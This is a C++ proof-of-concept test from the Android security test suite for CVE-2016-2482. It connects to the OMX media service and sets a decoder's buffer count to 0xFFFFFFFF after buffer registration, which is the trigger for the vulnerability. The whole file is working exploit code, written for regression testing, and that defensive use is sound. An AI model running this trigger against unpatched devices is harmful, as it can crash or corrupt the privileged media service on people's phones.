| /** |
| * Copyright (C) 2018 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| |
| #define LOG_TAG "CVE-2016-2482" |
| |
| #include <OMX_Component.h> |
| #include <OMX_Types.h> |
| #include <binder/IServiceManager.h> |
| #include <binder/MemoryDealer.h> |
| #include <media/IMediaPlayerClient.h> |
| #include <media/IMediaPlayerService.h> |
| #include <media/IMediaRecorder.h> |
| #include <media/IOMX.h> |
| #include <media/OMXBuffer.h> |
| #include <media/stagefright/OMXClient.h> |
| #include <sys/stat.h> |
| #include <sys/time.h> |
| #include <utils/StrongPointer.h> |
| |
| #define OMX_DirInput 0 |
| #define OMX_CORE_INPUT_PORT_INDEX 0 |
| |
| using namespace android; |
| |
| struct DummyOMXObserver : public BnOMXObserver { |
| public: |
| DummyOMXObserver() {} |
| |
| virtual void onMessages(const std::list<omx_message> &messages __unused) {} |
| |
| protected: |
| virtual ~DummyOMXObserver() {} |
| }; |
| |
| // decoder |
| bool fuzzIOMXSetParameterChangeCount() { |
| const char *name = "OMX.qcom.video.decoder.avc"; |
| sp<IMemory> memory; |
| sp<IOMXNode> node = 0; |
| sp<IOMX> mOmx; |
| IOMX::buffer_id bufferId = 0; |
| int outMemSize = 1024; |
| int bufferCnt = 4; |
| int memSize = 49 * outMemSize * bufferCnt; |
| |
| OMXClient client; |
| if (client.connect() != OK) { |
| ALOGE("OMXClient connect == NULL"); |
| return false; |
| } |
| |
| mOmx = client.interface(); |
| if (mOmx == NULL) { |
| ALOGE("OMXClient interface mOmx == NULL"); |
| client.disconnect(); |
| return false; |
| } |
| |
| sp<DummyOMXObserver> observerDec = new DummyOMXObserver(); |
| |
| ALOGE("-----------decode------------"); |
| status_t err = mOmx->allocateNode(name, observerDec, &node); |
| if (err != OK) { |
| ALOGE("%s node allocation fails", name); |
| client.disconnect(); |
| return false; |
| } |
| |
| sp<MemoryDealer> dealerIn = new MemoryDealer(memSize); |
| |
| memory = dealerIn->allocate(memSize); |
| if (memory.get() == nullptr) { |
| ALOGE("memory allocation failed , err: %d", err); |
| node->freeNode(); |
| client.disconnect(); |
| return false; |
| } |
| |
| OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc( |
| sizeof(OMX_PARAM_PORTDEFINITIONTYPE)); |
| |
| if (params == NULL) { |
| ALOGE("memory allocation failed , err: %d", err); |
| node->freeNode(); |
| client.disconnect(); |
| return false; |
| } |
| memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE)); |
| |
| params->eDir = (OMX_DIRTYPE)OMX_DirInput; |
| |
| params->nBufferCountActual = 1024 * 1024 / 16; |
| params->nBufferSize = 0x31000; |
| params->format.video.nFrameHeight = 0; |
| |
| /* |
| * Exit from here if setParameter fails. |
| * This is the expected behavior in Android N |
| */ |
| err = node->setParameter(OMX_IndexParamPortDefinition, params, |
| sizeof(OMX_PARAM_PORTDEFINITIONTYPE)); |
| ALOGI("setParameter, err: %d", err); |
| if (err != OK) { |
| node->freeNode(); |
| free(params); |
| client.disconnect(); |
| return false; |
| } |
| |
| /* |
| * Exit from here if useBuffer fails. |
| * This is the expected behavior in Android N |
| */ |
| err = node->useBuffer(OMX_CORE_INPUT_PORT_INDEX, memory, &bufferId); |
| ALOGE("useBuffer, err: %d", err); |
| if (err != OK) { |
| node->freeNode(); |
| free(params); |
| client.disconnect(); |
| return false; |
| } |
| |
| params->nBufferCountActual = 0xFFFFFFFF; |
| |
| err = node->setParameter(OMX_IndexParamPortDefinition, params, |
| sizeof(OMX_PARAM_PORTDEFINITIONTYPE)); |
| ALOGE("setParameter, change actualcount, err: %d", err); |
| |
| err = node->freeNode(); |
| free(params); |
| client.disconnect(); |
| ALOGI("freeNode, err: %d", err); |
| return true; |
| } |
| |
| int main() { |
| return (int)(!fuzzIOMXSetParameterChangeCount()); |
| } |